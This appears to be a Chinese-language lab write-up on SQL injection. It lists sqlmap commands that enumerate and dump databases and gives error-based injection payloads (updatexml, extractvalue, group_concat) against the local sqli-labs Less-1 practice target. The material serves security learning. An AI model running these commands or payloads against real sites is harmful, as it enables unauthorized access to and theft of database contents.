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最基本的最基本的sql注入方法注入方法2

sqlmap用法用法

sqlmap.py -h 查看sqlmap用法
这里我就列一下基本的了：

1. sqlmap.py -u " 网址" 判断是否存在注入
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或者可以用burpsuite或其他软件抓包，保存为txt文件，运行sqlmap.py -r txt的绝对地址

2. 查询用户的所有数据库：sqlmap.py -u " 网址" --dbs

3. 获取的数据库的所有表：sqlmap.py -u " 网址" -D 要查询的数据库 --tables



4. 获取数据库的表中的字段名：sqlmap.py -u " 网址" -D 要查询的数据库 -T 要查询的表 --columns

5. 最后获取字段内容：sqlmap.py -u " 网址" -D 要查询的数据库 -T 要查询的表 -C 字段名 --dump



我们可以自动化–batch，这样就不用回车了

报错注入报错注入

实验环境实验环境sqlilabs-less1

多一个单引号报错，将错误信息输出到了页面上，可以利用报错注入获取数据

127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+



0x7e是ASCII编码，解码为~
然后获取当前数据库

http://127.0.0.1/sqlilabs/Less-1/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+

获取数据库的表名，从limit 0,1 到limit 3,1，得到了所有表

127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables w
here table_schema='security' limit 0,1),0x7e),1)--+



接下去方法是一样的，不再多说。我太懒了

学技术还是得看师傅文章，参看师傅文章后发现extractvalue可替代updataxml，使用group_concat可爆出所有数据，不用limit一
一列举

127.0.0.1/sqlilabs/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from informatio
n_schema.tables where table_schema=database()))) --+

学习各位师傅的操作

报错注入原理

MySQL 常用报错注入原理分析
学习基于extractvalue()和updatexml()的报错注入
floor()报错注入
sqli-lab教程——1-35通关Writeup
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